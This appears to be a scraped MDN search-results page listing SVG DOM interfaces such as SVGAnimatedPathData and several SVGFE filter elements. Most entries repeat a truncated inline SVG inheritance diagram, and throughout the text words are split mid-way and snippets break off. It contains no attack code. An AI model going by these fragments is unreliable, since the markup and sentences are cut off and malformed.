chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svganimationelement" target="_top"><rect x="291" y="65" width="190" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="386" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">s...
...And 2 more matches
SVGAnimateTransformElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svganimationelement" target="_top"><rect x="291" y="65" width="190" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="386" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">s...
...And 2 more matches
SVGAnimatedPathData - Web APIs
svg animated path data interface the svganimatedpathdata interface supports elements whi
ch have a 'd' attribute whi
ch holds svg path data, and supports the ability to animate that attribute.
... animatedpathseglist svgpathseglist provides access to the current animated contents of the 'd' attribute in a form whi
ch mat
ches one-for-one with svg's syntax.
... pathseglist svgpathseglist provides access to the base (i.e., static) contents of the 'd' attribute in a form whi
ch mat
ches one-for-one with svg's syntax.
...And 2 more matches
SVGAnimatedPoints - Web APIs
svg animated points interface the svganimatedpoints interface supports elements whi
ch have a points attribute whi
ch holds a list of coordinate values and whi
ch support the ability to animate that attribute.
... additionally, the points attribute on the original element accessed via the xml dom (e.g., using the getattribute() method call) will reflect any
changes made to the svganimatedpoints.points attribut.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
SVGAnimatedString - Web APIs
the svganimatedstring interface represents string attributes whi
ch can be animated from ea
ch svg declaration.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedstring
chrome full support yesedge full support ≤18firefox full support yesie no support noopera full support yessafari full support yeswebview android full support yes
chrome android no support nofirefox android full support ye...
...And 2 more matches
SVGAnimationElement: endEvent event - Web APIs
the endevent event of the svganimationelement interface is fired when at the active end of the animation is rea
ched.
... note: this event is not raised at the simple end of ea
ch animation repeat.
...s
cheduled or interactive) timeline play, as well as in the case that the element was ended with a dom method.
...And 2 more matches
SVGComponentTransferFunctionElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgcomponenttransferfunctionelement" target="_top"><rect x="131" y="65" width="350" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="306" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-...
...And 2 more matches
SVGFEBlendElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfeblendelement" target="_top"><rect x="311" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">...
...And 2 more matches
SVGFEColorMatrixElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfecolormatrixelement" target="_top"><rect x="251" y="65" width="230" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="366" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="mi...
...And 2 more matches
SVGFECompositeElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfecompositeelement" target="_top"><rect x="271" y="65" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="376" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="midd...
...And 2 more matches
SVGFEConvolveMatrixElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfeconvolvematrixelement" target="_top"><rect x="221" y="65" width="260" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="351" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline=...
...And 2 more matches
SVGFEFuncAElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgcomponenttransferfunctionelement" target="_top"><rect x="131" y="65" width="350" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="306" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-bas...
...And 2 more matches
SVGFEFuncBElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgcomponenttransferfunctionelement" target="_top"><rect x="131" y="65" width="350" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="306" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-bas...
...And 2 more matches
SVGFEFuncGElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgcomponenttransferfunctionelement" target="_top"><rect x="131" y="65" width="350" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="306" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-bas...
...And 2 more matches
SVGFEFuncRElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgcomponenttransferfunctionelement" target="_top"><rect x="131" y="65" width="350" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="306" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-bas...
...And 2 more matches
SVGFEMorphologyElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
